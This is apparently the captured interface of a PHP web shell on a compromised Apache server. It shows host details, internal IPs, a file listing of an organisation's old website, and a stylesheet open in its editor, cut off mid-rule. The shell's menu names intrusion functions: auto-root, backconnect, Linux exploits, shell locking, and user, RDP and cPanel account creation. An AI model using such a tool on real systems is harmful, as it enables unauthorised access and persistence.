Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cipd-org-old /
static /
[ HOME SHELL ]
Name
Size
Permission
Action
banners
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
About_cipd.mp4
40.09
MB
-rw-r--r--
CIPD_Main.mp4
1.38
MB
-rw-r--r--
CiPDlogo.png
123.39
KB
-rw-r--r--
CiPDslideshow.mp4
1.43
MB
-rw-r--r--
IIIT-Delhilogo.svg
2.46
KB
-rw-r--r--
MakeInIndia.png
93.51
KB
-rw-r--r--
NSUT_logo.png
114.15
KB
-rw-r--r--
bg.mp4
1.95
MB
-rw-r--r--
cipdwebsiteserv.png
66.3
KB
-rw-r--r--
consultancy.jpeg
8.49
KB
-rw-r--r--
desmania_logo.jpeg
3.31
KB
-rw-r--r--
elcinalogo.png
3.24
KB
-rw-r--r--
epic.jpg
11.34
KB
-rw-r--r--
idea.jpg
38.14
KB
-rw-r--r--
iesa.jpg
59.43
KB
-rw-r--r--
iitlogo.png
110.41
KB
-rw-r--r--
insight_arrow.png
13.22
KB
-rw-r--r--
jamiacollege.jpg
51.1
KB
-rw-r--r--
logo68.png
13.42
KB
-rw-r--r--
mentoring.webp
87.07
KB
-rw-r--r--
milkywaytext.webp
747.42
KB
-rw-r--r--
onchip_logo.jpeg
9.78
KB
-rw-r--r--
our_mission.css
70.87
KB
-rw-r--r--
our_mission.js
2.11
KB
-rw-r--r--
pantcollege.jpg
14.12
KB
-rw-r--r--
press_release.jpg
1.49
MB
-rw-r--r--
product.jpg
31.98
KB
-rw-r--r--
prototypewebsite.png
3.62
MB
-rw-r--r--
research.jpg
75.85
KB
-rw-r--r--
script.js
3.21
KB
-rw-r--r--
solution.jpg
126.23
KB
-rw-r--r--
style.css
71.24
KB
-rw-r--r--
style_contact.css
9.75
KB
-rw-r--r--
styleres.css
2.41
KB
-rw-r--r--
tablet.png
447.46
KB
-rw-r--r--
waterpump.png
357.35
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : style.css
/* Corrected CSS */ @media only screen and (min-width: 721px) { /* styles for browsers larger than 960px; */ body { font-family: "Helvetica", sans-serif; margin: 0; padding: 0; color: black; overflow-x: hidden; } .color-strip { height: 5vh; /* Adjust the height as needed */ width: 100vw; background: linear-gradient(to right, #4E478A, #00A69C, #D4137C); position: fixed; top: 0; left: 0; right: 0; z-index: 999; /* Ensure it's above the header */ transition: top 0.2s ease-in-out, height 0.2s ease-in-out; } .cipdwebsiteabout1 { display: flex; /* Use flexbox */ justify-content: center; /* Center horizontally */ align-items: center; /* Center vertically */ height: 100vh; /* Set the desired height of the container */ } .cipdwebsiteabout1 video { width: 90%; /* Set the desired width */ height: 90%; /* Set the desired height */ max-width: 100%; /* Ensure video doesn't exceed its container width */ max-height: 100%; /* Ensure video doesn't exceed its container height */ } .color-strip img{ margin-left: 88vw; margin-top: -0.5vh; width:8vw; height: 5.6vh; } header { position: fixed; align-items: flex-start; top: 3vh; /* Adjust the initial top position */ left: 0; right: 0; z-index: 1000; display: flex; justify-content: space-between; align-items: center; color: darkgray; align-items: flex-end; background-color: white; } /* Add this CSS for the login */ .homepage-content { margin-top: 1.5vh; /* Adjust the margin-top to place it below the color strip */ display: flex; top: 0; right: 2.6vw; position: absolute; /* Add this line */ word-spacing: 0.2vw; font-family: Helvetica; color: darkcyan; letter-spacing: 0.26vw; } nav.homepage-content ul.homepage { margin-top: 1.4vh; /* Adjust the margin-top to place it below the color strip */ } nav.homepage-content li { margin: 0 2vw; /* Adjust the margin between list items */ } /* Normal state font style */ nav.homepage-content a { font-family: 'Helvetica', sans-serif; /* Example font for normal state */ font-size: 1vw; font-weight: bold; color: darkcyan; text-decoration: none; position: relative; transition: color 0.3s ease, transform 0.3s ease; margin-top: 1.3vh; margin-bottom: 0.7vh; } /* Underline pseudo-element */ /* Hover state font style */ nav.homepage-content a:hover { font-family: Helvetica; /* Example font for hover state */ transform: scale(1.1); text-decoration: underline; } nav.homepage-content a::after { content: ''; display: block; height: 2px; width: 0; background-color: transparent; /* Set the initial underline color to transparent */ position: absolute; bottom: -2px; /* Adjust the positioning to be just below the text */ transition: width 0.3s ease, background-color 0.3s ease; /* Add transitions for width and background-color */ } nav.homepage-content a::after { content: ''; display: block; height: 0.2px; width: 0; position: absolute; bottom: 0; transition: width 0.3s ease; } nav.homepage-content a:hover::after { width: 100%; color: black; } /* Modify the logo styles in your existing styles.css */ .logo img { width: 14vw; margin-top: 2vh; background-color: transparent; } .logo6 img{ width: 9vw; height: 6.5vw; margin-left: 4vw; } .homepage { list-style-type: none; margin: 0; padding: 0; overflow: hidden; } .homepage li { display: inline; padding: 0; } .cipdwebsiteabout8 video{ width: 100%; height: 70.2vh; } .homepage a { text-decoration: none; color: #333; position: relative; transition: color 0.3s ease, transform 0.3s ease; font-size: 1.5vw; margin-bottom: 2vh; margin-top: 2vh; font-weight: bolder; word-spacing: 0.6vw; letter-spacing: 0.1vw; } .right-align a{ margin-right: 4vw; } .homepage a:hover { color: darkcyan; transform: scale(1.1); } .homepage a::after { content: ''; display: block; height: 1vh; width: 0; background-color: darkcyan; position: absolute; bottom: 0; transition: width 0.3s ease; } .homepage a:hover::after { height: 100%; color: darkcyan; } @keyframes bounce { 0%, 20%, 50%, 80%, 100% { transform: translateY(0); } 40% { transform: translateY(-15px); } 60% { transform: translateY(-10px); } } nav ul { list-style: none; padding: 0; display: flex; justify-content: flex-end; margin-top: 6vh; color: green; } nav ul li { margin: 0 0.5vw; color: darkcyan; } nav a { text-decoration: none; color: darkcyan; align: right; } .slideshow-container { width: 100%; margin-top: 160px; height: 500px; position: relative; overflow: hidden; align-self: center; transition: transform 0.5s ease-in-out; /* Add a smooth transition to the transform property */ justify-content: center; } mySlides { display: none; transform: translateX(100%); /* Initially off-screen to the right */ transition: transform 1.5s ease-in-out; overflow: hidden; } .mySlides.active { transform: translateX(0); /* Slide in from the right */ overflow: hidden; } .caption { position: absolute; bottom: 0; left: 0; width: 100%; background-color: rgba(0, 0, 0, 0.5); color: #fff; padding: 10px; overflow: hidden; } /* Add this CSS to style your arrows */ .prev, .next { position: absolute; top: 50%; width: 10%; padding: 0; margin-top: -22px; font-size: 50px; color: white; cursor: pointer; background-color: transparent; border: 0px; text-align: center; text-decoration: none; display: none; /* Hide arrows by default */ } .prev { left: 10px; } .next { right: 10px; } .prev:hover, .next:hover { background-color: transparent; color: darkgrey; overflow: hidden; } /* Show arrows on hover */ .slideshow-container:hover .prev, .slideshow-container:hover .next { display: block; overflow: hidden; } .slideshow-container:hover { transform: scale(1.05); /* Zoom in by 5% on hover */ overflow: hidden; } .parallax { background-attachment: fixed; background-position: center; background-repeat: no-repeat; background-size: cover; height: 100%; overflow: hidden; } .cipdwebsiteabout6{ position: relative; display: flex; overflow: hidden; margin-top: 20vh; } .cipdwebsiteabout6 div { flex: 0 0 100%; transition: transform 0.5s ease-in-out; } .cipdwebsiteabout8 { align-self: center; } .cipdwebsiteinsights { margin-left: 10vw; margin-top: 2vh; } .cipdwebsiteinsights h1{ font-size: 4vw; letter-spacing: 0.5vw; color: #00A69C; margin-bottom: 4vh; margin-left: -2vw; } .cipdwebsitegraphic1 { margin-left: 18vw; margin-top: -14vh; } .cipdwebsitegraphic1 img{ width: 22vw; height: 15vh; } .cipddo1 { display: flex; justify-content: space-around; align-items: center; flex-wrap: wrap; } .cipddo1 .image-container { text-align: center; margin-bottom: 10vh; /* Adjust spacing between image and text */ } .cipddo1 img { width: 300px; /* Adjust size as needed */ height: 300px; /* Adjust size as needed */ border-radius: 50%; /* Make it a circle */ object-fit: cover; /* Ensure the image covers the circle */ } .cipddo1 .text-box { background-color: #f0f0f0; /* Background color of text box */ height: 180px; width: 230px; border-radius: 5px; /* Rounded corners */ margin-top: -90px; /* Adjust spacing between text and box */ position: relative; overflow: hidden; text-align: center; background-color: white; /* Set a background color to avoid overlapping */ border-radius: 10px; /* Add border radius for a better visual */ box-shadow: 2px 5px 10px #00A69C; /* Add a subtle shadow for depth */ color: white; margin-left: 45px; } .cipdwebsiteaboutus{ padding: 40px; font-size: 30px; } .cipdwebsiteaboutus img{ width: 100%; height: 700px; } .cipdwebsiteabout{ position: relative; font-size: 20px; text-align: center; display: flex; overflow: hidden; margin-top: 50px; } .cipdwebsiteabout div { flex: 0 0 100%; transition: transform 0.5s ease-in-out; } .cipddo { margin-top: 100px; word-spacing: 6px; margin-left: 10px; } .cipd1 h1 { text-align: left; margin-top: 20px; font-size: 40px; color: black; position: relative; letter-spacing: 14px; margin-left: 10px; } .cipd1 span.cipdwebsitecolor { font-size: 40px; color: black; position: relative; margin-top: -100px; } .cipd1 span.cipdwebsitecolor1 { font-size: 140px; color: darkcyan; letter-spacing: 0; } .cipd1 img{ width: 1100px; height: 600px; align-self: center; margin-left: 500px; margin-top: -300px; } .cipdd11 img{ width: 100px; height: 100px; border-radius: 100px; } .cipdwebsite1{ margin-top: -510px; margin-left: 1000px; font-size: 20px; color: #D4137C; text-shadow: 3.4px 3.4px #4E478A; } .cipdwebsite2{ margin-top: 140px; margin-left: 600px; font-size: 20px; color: #D4137C; text-shadow: 3.4px 3.4px #4E478A; } .cipdwebsite3{ margin-top: 80px; margin-bottom: 200px; margin-left: 980px; font-size: 20px; padding-left: 100px; color: #D4137C; text-shadow: 3.4px 3.4px #4E478A; } footer { background-color: black; color: white; text-align: center; padding: 2em 0; /* Adjust padding as needed */ position: relative; } .footer-content { display: flex; justify-content: space-between; align-items: center; } .map-container { width: 50%; } .map-container iframe { width: 90%; height: 100%; } .contact-info { width: 50%; text-align: center; } .contact-info a { display:grid; margin-bottom: 10px; /* Adjust as needed for spacing */ } footer p { margin: 5px 0; /* Adjust margin as needed */ } .image-containerprototypewebsite { position: relative; margin-left: 0px; width: 1000px; height: 900px; padding: 5px; margin-top: 50px; margin-right: auto; } .image-containerprototypewebsite img { box-shadow: 10px 10px 20px #4E478A; } .overlay-textprototypewebsite2 { position: absolute; top: 10%; left: 700px; color: black; /* Adjust text color */ font-size: 20px; /* Adjust font size */ font-family: Helvetica, sans-serif; /* Adjust font family */ background-color: white; text-decoration-color: black; word-spacing: 6px; width: 700px; height: 500px; padding: 30px; opacity: 0.96; box-shadow: 5px 5px 10px #D4137C; } .image-containerprototypewebsite img { border-radius: 500px; } .image-container p{ margin-top: 5%; color: #00A69C; text-align: center; } .overlay-textprototypewebsite2 h4{ word-spacing: 20px; font-family: "Helvetica", sans-serif; font-weight: bolder; font-size: 35px; letter-spacing: 6px; margin-top: -10px; } .overlay-textprototypewebsite2 h1, .overlay-textprototypewebsite2 p, .overlay-textprototypewebsite2 p1, .overlay-textprototypewebsite2 p2 { margin: 0; /* Remove default margin to ensure a clean appearance */ font-family: "sans-serif", sans-serif; } .overlay-textprototypewebsite2 span.cipdwebsiteaboutus6 { color: #00A69C; font-size: 30px; } .gradient-container { width: 100%; height: 500px; background: linear-gradient(to right, #4E478A, #00A69C, #D4137C); /* Adjust the colors (#ff6600 and #3399ff) and direction (to right) as needed */ position: relative; margin-top: 145px; } /* Additional styling for demonstration purposes */ .content { text-align: left; padding: 20px; color: white; } .cipdwebsitemission{ align-items: center; margin-top: -200px; position: relative; } .cipdwebsitemission h1{ justify-content: center; text-align: center; letter-spacing: 10px; word-spacing: 10px; } .cipddo2 { display: flex; justify-content: center; align-items: center; height: 100vh; /* Optional: Set a specific height for vertical centering */ margin-top: -100px; } .cipddo2 img { justify-content: center; max-width: 400px; /* Optional: Ensure images don't exceed container width */ height: 500px; margin: 50 50px; margin-right: 20px; /* Optional: Adjust spacing between images */ } .cipddo8{ display: flex; justify-content: center; align-items: center; height: 100vh; /* Optional: Set a specific height for vertical centering */ margin-top: -100px; } .cipddo8 img { justify-content: center; max-width: 400px; /* Optional: Ensure images don't exceed container width */ height: 500px; margin: 50 50px; margin-right: 20px; /* Optional: Adjust spacing between images */ margin-top: 50px; } .cipd2 h4 { margin-left: 10%; } .cipd2 p { margin-left: 6%; margin-right: 50px; } .mission { position: relative; width: 100%; height: 100vh; } .spacer { margin-top: 150px; /* Adjust the value as needed for the desired spacing */ } .circle, .circle1 { display: flex; align-items: center; /* justify-content: space-between; */ margin: 50px 0; /* Adjusts top and bottom margins equally */ } .circle { flex-direction: row; /* Aligns image left and text right */ } .circle1 { flex-direction: row-reverse; /* Aligns image right and text left */ } .circle img, .circle1 img { width: 300px; height: 300px; border-radius: 50%; box-shadow: 10px 10px 30px #D4137C; margin: 0 20px; /* Adds left and right margins to the images */ } .cipdcirc, .cipdcirc1 { max-width: 40vw; margin: 0 20px; /* Adds left and right margins to the text containers */ } .cipdcirc p, .cipdcirc1 p { font-size: 20px; } .cipdcirc h1, .cipdcirc1 h1 { font-size: 5vw; color: #00A69C; margin-top: 0; /* Adjusts the space above the header */ } .cipdservice1 { position: fixed; top: 0; left: 0; right: 0; width: 100%; height: 100%; overflow: hidden; opacity: 14%; } .mission { position: relative; width: 100vw; height: 100vh; } .mission-text { transform: translate(0vw, -15vh); position: absolute; top: 45vh; left: 22vw; font-size: 8vw; transition: transform 2s ease; color: #D4137C; } .loader { position: relative; width: 25vw; height: 50vh; } .loader span { position: absolute; top: 8vh; right: -22vw; width: 20vw; height: 25vw; transform: rotate(calc(36deg *var(--i))); } .loader span::before { content: ''; position: absolute; top: 0; left: 0; width: 2vw; height: 4.5vh; border-radius: 50%; background: transparent; border: 4px solid #00A69C; box-sizing: border-box; box-shadow: 0 0 20px #00A69C, -100px 100px 0 #00A69C, -100px 100px 20px #00A69C, 200px 150px 0 #3942fa, 200px 150px 20px #3942fa, 200px 150px 0 #3942fa, 200px 150px 20px #f110f7, -200px 150px 0 #f110f7, -200px 150px 20px #f110f7; animation: mission_animate 10s linear infinite; animation-delay: calc(-0.25s*var(--i)); transform-origin: 250px; transition: 2s; } .loader:hover span::before { box-shadow: 0 0 20px #00A69C, -30px -30px 0 #00A69C, -30px -30px 20px #00A69C, 30px 30px 0 #00A69C, 30px 30px 20px #00A69C, 30px -30px 0 #00A69C, 30px -30px 20px #00A69C, -30px 30px 0 #00A69C, -30px 30px 20px #00A69C; transform-origin: 5px; } .fixed span::before { box-shadow: 0 0 20px #00A69C, -30px -30px 0 #00A69C, -30px -30px 20px #00A69C, 30px 30px 0 #00A69C, 30px 30px 20px #00A69C, 30px -30px 0 #00A69C, 30px -30px 20px #00A69C, -30px 30px 0 #00A69C, -30px 30px 20px #00A69C; transform-origin: 5px; } .mission-text:hover { transform: translate(-20vw, -15vh); } .fixed-mission-text { transform: translate(-20vw, -15vh); } .loader span:nth-child(3) { /* Combine rotate and translate on the transform property */ transform: translate(20px, 20px) rotate(calc(36deg * var(--i))); } .loader span:nth-last-child(1), .loader span:nth-last-child(2) { /* Scale and then translate */ transform: rotate(calc(36deg * var(--i))) translateX(70px) scale(1.2); } .mission_points { display: flex; flex-direction: column; height: 70vh; width: 30vw; justify-content: space-evenly; transform: translate(400%, -60%); font-size: 1.3vw; transition: transform 2s ease; padding: 20px; /* Adds some space inside the borders */ background-color: #f9f9f9; /* Light background color for contrast */ color: #333; /* Darker text color for readability */ border-radius: 10px; /* Softens the corners */ box-shadow: 5px 5px 10px #00A69C; /* box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); */ /* Subtle shadow for depth */ overflow: auto; /* Ensures content is scrollable if it exceeds the container height */ gap: 2vw; margin-right: 100px; /* Adds space between flex items for better separati on */ } .mission_points:hover { transform: translate(60vw, -50vh); } .fixed-mission_points { transform: translate(60vw, -50vh); } @keyframes mission_animate { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .projects-heading { text-align: center; font-size: 8.3vw; /* 8vw in pixels */ background: linear-gradient(100deg, #00AFAA, #f110f7, #3942fa); text-transform: uppercase; -webkit-background-clip: text; -webkit-text-fill-color: transparent; width:100vw; margin-top: 120px; } .project{ display: flex; /* Enables flexbox layout */ justify-content: space-evenly; /* Aligns the image and the about section */ align-items: center; } .projects-container { display: flex; flex-direction: column; /* Centers the product cards if necessary */ justify-content: space-evenly; } .project_image { width: 379.75px; /* 25vw in pixels */ height: 417px; /* 60vh in pixels */ perspective: 417px; /* 60vh in pixels */ } .project_about { font-family: Helvetica, sans-serif; justify-content: space-evenly; height: 65vh; width: 30vw; padding: 20px; overflow: hidden; /* Hide overflowing content */ position: relative; /* Set position to relative for absolute positioning */ } .project_about h4{ font-size: 20px; } .project_image:hover > .card { cursor: pointer; transform: rotateY(-180deg); } .card{ width: 100%; height: 100%; position: relative; transition: transform 600ms; transform-style: preserve-3d; } .front, .back { height: 100%; width: 100%; border-radius: 2rem; box-shadow: 0 0 5px 2px rgba(50, 50, 50, 0.25); position: relative; backface-visibility: hidden; } .front{ background-size: cover; } .back{ background-color: #f9f9f9; transform: rotateY(180deg); display: flex; flex-direction: column; justify-content: space-evenly; align-items: center; margin-top: -417px; /* 60vh in pixels */ } .word { opacity: 0; color: #00AFAA; } .word:nth-child(1) { animation: fadeInWords 2s forwards; } .word:nth-child(2) { animation: fadeInWords 2s forwards 1s; /* Delay the animation by 1s */ } .word:nth-child(3) { animation: fadeInWords 2s forwards 2s; /* Delay the animation by 2s */ } .word:nth-child(4) { animation: fadeInWords 2s forwards 3s; /* Delay the animation by 3s */ } .word:nth-child(5) { animation: fadeInWords 2s forwards 4s; /* Delay the animation by 4s */ } .word:nth-child(6) { animation: fadeInWords 2s forwards 5s; /* Delay the animation by 5s */ } @keyframes fadeInWords { from { opacity: 0; } to { opacity: 1; } } .hidden { display: none; } .heading { margin-top: 20px; display: flex; flex-direction: column; text-align: center; align-items: center; margin-bottom: 20px; } .heading h3 { color: #00A69C; font-size: 5vw; /* 8vw in pixels */ margin: 0; } .events-section { position: relative; width: 100%; height: 100vh; /* Adjust this to fit your desired height */ } .bg { position: absolute; top: 0; left: 0; width: 100%; height: 100%; overflow: hidden; opacity: 99%; } .centered-content { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); text-align: center; color: white; /* Change color as needed */ } .centered-content h1{ font-size: 6em; } .centered-content h3{ transform: translate(0%, -200%); font-size: 2em; } .progress-bar{ width: 360px; height: 12px; background-color: #d1d1d1; margin: auto; position: relative; transform: translate(0%, 0%); } .progress-bar::before{ content: "0%"; position: absolute; left: 0; font-size: 12px; bottom: -18px; } .progress-bar::after{ content: "100%"; position: absolute; right: 0; font-size: 12px; bottom: -18px; } .progress-bar span{ display:block; width: 70%; height: 12px; background-color: #87b1de; animation: fill 1s ease-in 1; } @keyframes fill{ from { width: 0; } to{ width: 80%; } } .joinus { width: 100vw; } .heading-joinus { font-size: 8.33vw; /* Adjusted for better scalability */ display: flex; justify-content: center; } .joinus-text { overflow: hidden; white-space: nowrap; animation: typewriter 2s steps(11) forwards; } @keyframes typewriter { from { width: 0; } to { width: calc(11ch); } } .blink { animation: blink 1s infinite; animation-delay: 2s; color: #00A69C; opacity: 0; } @keyframes blink { 0% { opacity: 1; } 50% { opacity: 0; } 100% { opacity: 1; } } .joinus-content { display: flex; width: 80%; /* Adjust for better centering and responsiveness */ max-width: 70.25vw; /* Max width to avoid overly wide content on large screens */ margin: 0 auto; /* Center the content */ height: auto; /* Adjust height to content */ flex-direction: column; gap: 30px; margin-top: 30px; opacity: 0; animation: fadeInContent 2s forwards; animation-delay: 1s; } .content-main { font-weight: bold; font-size: 1.5vw; /* Responsive font size */ } .joinus-points { display: flex; gap: 15px; flex-direction: column; font-size: 1.25vw; /* Responsive font size */ } @keyframes fadeInContent { from { opacity: 0; } to { opacity: 1; } } .team { display: flex; flex-wrap: wrap; justify-content: center; /* Center align the items */ margin: 0 -6px; /* Add negative margin to counteract the spacing */ } .team-member { width: calc(16.666% - 40px); /* Set the width to occupy approximately one-sixth of the container */ margin: 4.6vh; /* Increase margin for spacing between team members */ position: relative; overflow: hidden; text-align: center; background-color: white; /* Set a background color to avoid overlapping */ border-radius: 10px; /* Add border radius for a better visual */ box-shadow: 2px 5px 10px #00A69C; /* Add a subtle shadow for depth */ color: white; } .team-member:hover { transform: scale(1.1); box-shadow: 2px 5px 10px #D4137C; } .team-member h3 { font-size: 14px; color: #00A69C; margin-top: -1.4px; padding: 2px; } .team-member p { margin-top: -14px; color: black; font-size: 14px; } .info { position: absolute; bottom: -100%; /* Initially, slide the info div below the image */ left: 0; width: 100%; background-color: white; /* Semi-transparent background */ color: white; padding: 5px; box-sizing: border-box; border-radius: 10px; transition: bottom 0.5s; /* Add transition effect */ } .info h3 { color: black; } .info p { color: #00A69C; } .team-member img { width: 100px; height: 140px; /* Set a fixed height for consistency */ object-fit: cover; /* Ensure images maintain aspect ratio and fill the container */ transition: transform 0.5s; margin-top: 20px; } .team-member:hover img { transform: scale(1.1); } .team-member:hover .info { bottom: 0;/* Slide up the info div on hover */ } .popup { position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); background-color: white; padding: 20px; border-radius: 10px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.3); z-index: 9999; } /* Pop-up styles */ .popup { position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); background-color: white; padding: 20px; border-radius: 10px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.3); z-index: 9999; max-width: 80%; max-height: 80%; overflow-y: auto; } .popup-content { padding: 10px; } .popup1 { position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); background-color: white; padding: 20px; border-radius: 10px; box-shadow: 0 0 10px rgba(0, 0, 0, 0.3); z-index: 9999; max-width: 80%; max-height: 80%; overflow-y: auto; } .popup-content { padding: 10px; } .close-btn { position: absolute; top: 10px; right: 10px; cursor: pointer; } .cipdwebsiteboxheading{ margin-left: 6%; } .cipdwebsiteboxheading h1{ font-size: 60px; letter-spacing: 6px; color: #D4137C; } .cipdwebsiteboxheading2 h1{ margin-left: 6%; font-size: 60px; letter-spacing: 6px; color: #D4137C; } .cipdwebsiteboxheading1{ margin-left: 6%; margin-top: 100px; } .cipdwebsiteboxheading1 h1{ font-size: 60px; letter-spacing: 6px; color: #D4137C; } .container { display: flex; /* justify-content: center; */ width: 80%; /* Adjust as needed */ margin-top: 3.12vh; align-items: center; } .box { position: relative; width: 50%; /* Each box takes 48% to cover 50% of the space */ /* Adjust as needed */ background-color: #00A69C; border-radius: 46.8vh; transition: transform 0.5s ease; margin-left: 4.1vw; align-items: center; /* overflow: hidden; */ } .box:hover { transform: scale(1.1); box-shadow: 10px 10px 30px #D4137C; /* Scale up on hover */ } .box-content { display: flex; align-items: center; height: 100%; color: black; text-align: left; border-radius: 300px; align-self: center; background-color: white; box-shadow: 5px 5px 10px #00A69C; } /* Additional styling */ .box:nth-child(1) { background-color: black; } .box-content a { color: #fff; text-decoration: none; display: block; } .box-content h2{ color: darkcyan; display: block; font-weight: bolder; text-decoration: underline; text-decoration-color: #00A69C; font-size: 2vw; } .box-content p{ color: #00A69C; display: block; font-weight: bold; text-decoration: underline; text-decoration-color: #00A69C; font-size: 13px; } .box-content img { width: 14.4vw; height: 270px; align-self: flex-start; /* Align images to the left */ margin-right: 10px; border-radius: 40%; } .cipdwebsiteiplo{ margin-left: 10px; } .cipdwebsiteiplo h1{ font-size: 60px; letter-spacing: 6px; color: #D4137C; text-align: center; } .cipdwebsiteiplo1{ margin-left: 0px; margin-top: 100px; } .cipdwebsiteiplo1 h1{ font-size: 60px; letter-spacing: 6px; color: #D4137C; text-align: center; } .team1{ align-items: flex-end; padding: 20px; margin-left: 0px; position: relative; } .team1 img{ width: 200px; height: 200px; margin-left: 50px; } .team2{ padding: 20px; margin-left: -100px; margin-bottom: 100px; } .team2 img{ max-width: 350px; margin-left: 100px; } } @media only screen and (max-device-width: 721px) { /* styles for mobile browsers smaller than 480px; (iPhone) */ body { font-family: "Helvetica", sans-serif; margin: 0; padding: 0; color: black; overflow-x: hidden; } .color-strip { height: 34px; /* Adjust the height as needed */ background: linear-gradient(to right, #4E478A, #00A69C, #D4137C); position: fixed; top: 0; left: 0; right: 0; z-index: 999; /* Ensure it's above the header */ transition: top 0.2s ease-in-out, height 0.2s ease-in-out; } .color-strip img{ margin-left: 38vh; margin-top: -4px; width: 100px; height: 40px; } header { position: relative; top: 3.9vh; /* Adjust the initial top position */ left: 0; right: 0; z-index: 1000; display: flex; justify-content: space-between; align-items: center; padding: 1.5vh; color: darkgray; align-items: flex-end; background-color: white; margin-bottom: 0vh; } .homepage-content { display: flex; top: 0vh; /* right: 1.5vh; */ position: absolute; /* Add this line */ /* word-spacing: 0.35vh; */ font-family: Helvetica; color: darkcyan; /* letter-spacing: 0.15vh; */ margin-right: 3.12vh; margin-left: 23vh; } nav.homepage-content ul.homepage { margin-top: 1.2vh; /* Adjust the margin-top to place it below the color strip */ /* font-size: 2.18vh; */ } nav.homepage-content li { margin: 0 1vh; /* Adjust the margin between list items */ } /* Normal state font style */ nav.homepage-content a { font-family: 'Helvetica', sans-serif; /* Example font for normal state */ font-size: 1.8vh; display: inline; justify-content: flex-end; font-weight: bold; color: darkcyan; text-decoration: none; position: relative; transition: color 0.3s ease, transform 0.3s ease; margin-top: 1.5vh; margin-bottom: 0.78vh; } /* Underline pseudo-element */ /* Hover state font style */ nav.homepage-content a:hover { font-family: Helvetica; /* Example font for hover state */ transform: scale(1.1); text-decoration: underline; } nav.homepage-content a::after { content: ''; display: block; height: 0.31vh; width: 0; background-color: transparent; /* Set the initial underline color to transparent */ position: relative; bottom: -0.31vh; /* Adjust the positioning to be just below the text */ transition: width 0.3s ease, background-color 0.3s ease; /* Add transitions for width and background-color */ } nav.homepage-content a:hover::after { width: 100%; color: black; } .small-header { height: 50px; } .small-header { height: 90px; /* Adjust the height as needed */ } /* Modify the logo styles in your existing styles.css */ .logo img { width: 100px; height: 50px; /* Adjust the height as needed while maintaining the aspect ratio */ margin-top: 5px; margin-left: -75px; background-color: transparent; transform: perspective(1000px) rotateX(20deg); /* Add 3D perspective and rotation */ transition: transform 0.5s ease-in-out, box-shadow 0.5s ease-in-out; /* Add transitions for transform and box-shadow */ } .logo6 img{ width: 30px; height: 15px; margin-top: -80px; margin-left: 30px; } nav { display: flex; } .homepage { list-style-type: none; margin: 0vh; padding: 0vh; overflow: hidden; } .homepage li a { display: inline; padding: 0vh; font-size: 3.2vw; /* Set the desired font size */ margin-left: 2vw; } .homepage a { text-decoration: none; color: #333; position: relative; transition: color 0.3s ease, transform 0.3s ease; padding: 0vh; margin-top: 2vh; font-weight: bolder; } .homepage a:hover { color: darkcyan; transform: scale(1.1); } .homepage a::after { content: ''; display: block; height: 0.31vh; width: 0vh; background-color: darkcyan; position: relative; bottom: 0vh; transition: width 0.3s ease; } .homepage a:hover::after { height: 100%; color: darkcyan; } @keyframes bounce { 0%, 20%, 50%, 80%, 100% { transform: translateY(0); } 40% { transform: translateY(-15px); } 60% { transform: translateY(-10px); } } nav ul { list-style: none; padding: 0; display: flex; justify-content: flex-end; margin-top: 10px; color: green; } nav ul li { color: darkcyan; margin-top: 20px; display: inline; } nav a { text-decoration: none; color: darkcyan; margin-top: 200px; } .mySlides.active { transform: translateX(0); /* Slide in from the right */ overflow: hidden; } img { width: 100%; height: auto; } .caption { position: absolute; bottom: 0; left: 0; width: 100%; background-color: rgba(0, 0, 0, 0.5); color: #fff; padding: 10px; overflow: hidden; } .parallax { background-attachment: fixed; background-position: center; background-repeat: no-repeat; background-size: cover; height: 100%; overflow: hidden; } .cipdwebsiteabout6{ position: relative; font-size: 20px; text-align: center; display: flex; overflow: hidden; /* margin-top: 140px; */ } .cipdwebsiteabout6 div { flex: 0 0 100%; transition: transform 0.5s ease-in-out; } .cipdwebsiteabout8 { align-self: center; } .cipdwebsiteinsights { margin-left: 1vh; margin-top: -20vh; } .cipdwebsiteinsights h1 { font-size: 4vh; /* 50px converted to vh */ letter-spacing: 0.1vh; /* 6px converted to vh */ color: #00A69C; } .cipdwebsitegraphic1 { margin-left: 15vh; /* 260px converted to vh */ margin-top: -5vh; /* -110px converted to vh */ } .cipdwebsitegraphic1 img { width: 15vh; /* 300px converted to vh */ height: 5vh; /* 100px converted to vh */ } .cipddo1 { display: flex; justify-content: space-around; align-items: center; flex-wrap: wrap; } .cipddo1 .image-container { text-align: center; margin-bottom: 20px; /* Adjust spacing between image and text */ } .cipddo1 img { width: 300px; /* Adjust size as needed */ height: 300px; /* Adjust size as needed */ border-radius: 50%; /* Make it a circle */ object-fit: cover; /* Ensure the image covers the circle */ } .cipddo1 .text-box { background-color: #f0f0f0; /* Background color of text box */ height: 180px; width: 230px; border-radius: 5px; /* Rounded corners */ margin-top: -90px; /* Adjust spacing between text and box */ position: relative; overflow: hidden; text-align: center; background-color: white; /* Set a background color to avoid overlapping */ border-radius: 10px; /* Add border radius for a better visual */ box-shadow: 2px 5px 10px #00A69C; /* Add a subtle shadow for depth */ color: white; margin-left: 45px; } .cipdwebsiteaboutus{ padding: 40px; font-size: 30px; } .cipdwebsiteaboutus img{ width: 100%; height: 700px; } .cipdwebsiteabout1 video { width: 100%; /* Set the desired width */ height: 100%; /* Set the desired height */ } .cipddo { margin-left: 1vh; /* 10px converted to vh */ } .cipd1 h1 { text-align: left; font-size: 3vh; /* 40px converted to vh */ color: black; position: relative; letter-spacing: .4vh; /* 14px converted to vh */ margin-left: 1vh; /* 10px converted to vh */ 